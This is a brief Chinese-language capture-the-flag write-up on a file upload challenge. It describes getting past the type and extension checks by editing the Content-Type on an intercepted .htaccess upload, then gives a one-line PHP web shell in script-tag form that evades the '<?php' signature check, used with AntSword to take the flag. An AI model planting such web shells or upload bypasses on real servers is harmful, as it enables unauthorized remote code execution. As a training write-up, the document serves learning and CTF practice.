开局上传文件
上传muma.php
上传.htaccess文件也被打回
再次求助互联网,才发现这提示给的多么明显,上传.htaccess文件是检查文件类型(Contnet-Type),上传muma.php是检查后缀里头有没有ph ,检查文件类型那就去抓包修改文件类型
上传成功
接下来上传muma.jpg,还是不行
这下学聪明了,它从标志看出来我这是php,php的标志不就是代码中的<?php ?>吗
那就换个马:
<script language="php">eval ($_POST['shell']); </script>
用蚁剑连接,拿到最终flag